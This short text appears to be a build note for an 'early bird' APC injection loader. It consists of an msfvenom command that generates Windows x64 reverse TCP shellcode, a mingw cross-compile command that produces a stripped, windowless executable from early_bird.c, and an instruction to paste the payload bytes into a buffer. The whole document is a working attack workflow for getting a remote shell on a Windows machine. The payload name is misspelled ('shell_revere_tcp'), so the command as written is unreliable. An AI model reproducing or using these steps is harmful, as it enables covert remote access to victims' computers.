msfvenom -p windows/x64/shell_revere_tcp LHOST=<iface> LPORT=<iport> -f c # generate shellcode with metasploit
x86_64-w64-mingw32-gcc early_bird.c -m64 -Os -flto -fdata-sections -ffunction-sections -Wl,--gc-sections -mwindows -s -o eapc.exe # linux-gcc
> Before compiling, don't forget to change the variable with the bytes to be loaded:
4 unsigned char buf[] = "<PAYLOAD_BYTES>";